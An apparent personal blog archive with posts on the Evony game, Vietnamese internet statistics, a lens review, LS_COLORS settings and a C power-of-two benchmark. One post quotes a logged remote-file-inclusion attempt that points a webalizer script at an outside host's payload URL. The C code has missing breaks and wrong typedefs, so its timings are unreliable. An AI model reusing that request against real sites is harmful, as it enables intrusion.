Monday, 24 August 2009

The Ubiquity of Evony

1. A New Perspective

I am an old school Age of Empire [the Conquer pack] (AOC) player and I have been playing this game for over 8 years. The one day I found Evony, which has a few nice features that AOC does not have:

1. The number of players is not limited.

2. Free (and technically free forever)

3. Evony is also a real-time strategy (RTS) game (I will explain later)

4. Can be played anywhere with just a browser.

2. Cutting-edge Technologies

The reason why Evony is Operation System independent is that, it uses the latest cutting-edge technology called Flash. This may sound obvious to most of the reader but this is the point that makes Evony unique. Network based games are hard to be developed and Flash makes it easier. Evony has made an excellent work on graphics. Do I need to compare Evony with the most popular among officers game called FarmTown?

The Internet doesn’t mean connectivity to everywhere. I still remember the day of TCP/IP dominated game era: We have to mess up with the router for port forwarding. With Evony, it is easy; all we need is just a browser (zero setup!) – Nothing can be simpler than that!

The “Map View” mode is very well done and I have never seen that kind of work in other text-based RTS games before: We can browse the map in the way we use Google map. Adding visualization to the game is the key factor that makes Evony easy to play and being unique.

3. In-game Booming and Rush

You are given 5000 resources of each kind (food, lumber, stone, iron and gold) and you have 7 days of protection, which means, you have 7 days of free booming without fear of being attacked from stronger users.

Of course, with 7 days, you can never be strong enough if decide going solo. You can buy items that make stronger but it will never be enough. And you have to find a good alliance to join. Otherwise, you won’t survive!

Army training in Evony goes the same way like other RTS games: We make a good economy, getting resources and training armies. The difference from Evony to AOC is that: Evony has only one kind of “army building”: The barrack. However, we can train dozen kinds of armies from it.

Fighting in Evony is not so visually: We choose a target, right-click it and choose “Attack”. A new window will popup letting we choose the armies. This is fine but after the attacked is launched, all we can do is WAITING! We can cancel the attack but we can not redirect (I mean set the targets to another coordinator). When the armies arrive the target, the fight instantly finished in a not-so-intuitive fashion way. AOC players like may ask: How to micro-management in Evony? Well, probably no, there is only macro-management in Evony.

4. Is This a True Real-Time Strategy Game?

Yes it is. However, to be precise, Evony belongs to a sub-genre of RTS game called Real-Time Tactics. Therefore, AOC players, who understand the meaning of the phase “Real-Time Strategy” in a misleading way, will find it strange at the first look. However, macro-management skills in AOC can be similarly applied here easily.


23/08/2009

Written by Nguyen Vu Hung

Email: vuhung16plus@gmail.com

Evony nickname: “VCF ksv9x” on server 30

Tuesday, 7 April 2009

Thống kê dung lượng kết nối Internet ở Việt Nam


Sơ đồ kết nối:
http://www.hn.is.uec.ac.jp/~vuhung/vietnam/thong-ke-internet-vietnam.html

Dung lượng kết nối:
http://www.thongkeinternet.vn/jsp/dungluong/dungluongthang.jsp

Thursday, 26 March 2009

Nikkor AF Nikkor 85mm f/1.4D IF review

Ưu điểm:

* Sharpness là điểm nổi trội và output nhìn rất giống Nikon 85mm 1.2L và nhỉnh hơn một chút ít so với Nikkor 70-200 2.8 VR.
* f/1.4 nhanh (hơn hẳn f/1.8) khi chụp ở điều kiện thiếu sáng.
* Bokeh mịn nhìn giống kem mà Nikkor 50 1.4, 50 1.8, 85 1.8 không có. Đây là điểm nối bật của 85 1.4D so với 3 lens nói ở trên.
* f/1.4 nhanh hơn hẳn Nikkor 70-200 2.8 VR ở điều kiện thiếu sáng
* Chụp rất tốt khi trời sẩm tối (lúc này f/2.8 không thể lấy sáng cho dù tăng ISO 3200)
* Distortion thấp có thể bỏ qua.
* Vignetting hầu như không có và có thể bỏ qua ở f/1.4 và hoàn toàn không có ở f/2.
* Có thể thay thế macro lens nếu biết sử dụng hợp lý.

Nhược điểm:

* Không thể zoom và thiếu cơ động hơn hẳn người anh em Nikkor 70 200 2.8 VR
* Trở thành 135mm (hơi dài với crop body.
* AF không nhanh bằng Nikkor 70 200 2.8 VR (tuy nhiên AF đủ nhanh để chụp in-door sport trong điều kiện low light.
* Nhẹ và gọn hơn Nikkor 70 200 2.8 VR

Thursday, 13 November 2008

Changing LS_COLORS





#Using bash 3.2.0 on CentOs 5.0

di=00 or di=01 means dar blue for folder in black background, which is quite hard to see. So I changed it to di=1;35;100( purple ).

Old:
LS_COLORS='no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:

New:

LS_COLORS='no=00:fi=00:di=1;35;100:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:'

Wednesday, 12 November 2008

A webalizer hack attempt

Found in httpd access_log

76.103.140.75 - - [12/Nov/2008:22:42:06 +0900] "GET /webalizer//tools/send_remin ders.php?includedir=http://usuarios.arnet.com.ar/larry123/safe.txt? HTTP/1.1" 40 4 356 "-" "libwww-perl/5.813"

Monday, 11 August 2008

Finding nearest pow to 2



/* gcc pow_opt.c */
/* http://jeffreystedfast.blogspot.com/search/label/algorithms */
#include
#include
#include
typedef long uint32_t;
static uint32_t nearest_pow1(uint32_t num)
{ uint32_t n = 1;
while (n < num)
n <<= 1; return n;
}static uint32_t nearest_pow2(uint32_t num)
{ uint32_t n = num > 0 ? num - 1 : 0;
n |= n >> 1;
n |= n >> 2;
n |= n >> 4;
n |= n >> 8;
n |= n >> 16;
n++;

return n;
}

static uint32_t nearest_pow3(uint32_t num)
{
int bit;

__asm__("bsrl %1,%0\n\t" "jnz 1f\n\t" "movl $-1,%0\n" "1:": "=r"(bit):"rm"(num));

return (1 << (bit + 1));
}


static uint32_t nearest_pow4(uint32_t num)
{
uint32_t j, k;
(j = num & 0xFFFF0000) || (j = num);
(k = j & 0xFF00FF00) || (k = j);
(j = k & 0xF0F0F0F0) || (j = k);
(k = j & 0xCCCCCCCC) || (k = j);
(j = k & 0xAAAAAAAA) || (j = k);
return j << 1;
}

//A simple performance test might be:

int main(int argc, char **argv)
{
uint32_t i, n = 0;

uint32_t test_pow = atol(argv[1]);

switch ( test_pow ) {
case 1:
for (i = 0; i < INT_MAX / 10; i++)
n += nearest_pow1(i);
case 2:
for (i = 0; i < INT_MAX / 10; i++)
n += nearest_pow2(i);
case 3:
for (i = 0; i < INT_MAX / 10; i++)
n += nearest_pow2(i);
case 4:
for (i = 0; i < INT_MAX / 10; i++)
n += nearest_pow2(i);

}

return n > 0 ? 1 : 0;
}

[vuhung@aoclife g++]$ for i in 1 2 3 4; do time ./a.out $i; done

real 0m43.297s
user 0m42.969s
sys 0m0.318s

real 0m20.455s
user 0m20.343s
sys 0m0.109s

real 0m13.653s
user 0m13.566s
sys 0m0.082s

real 0m6.817s
user 0m6.769s
sys 0m0.048s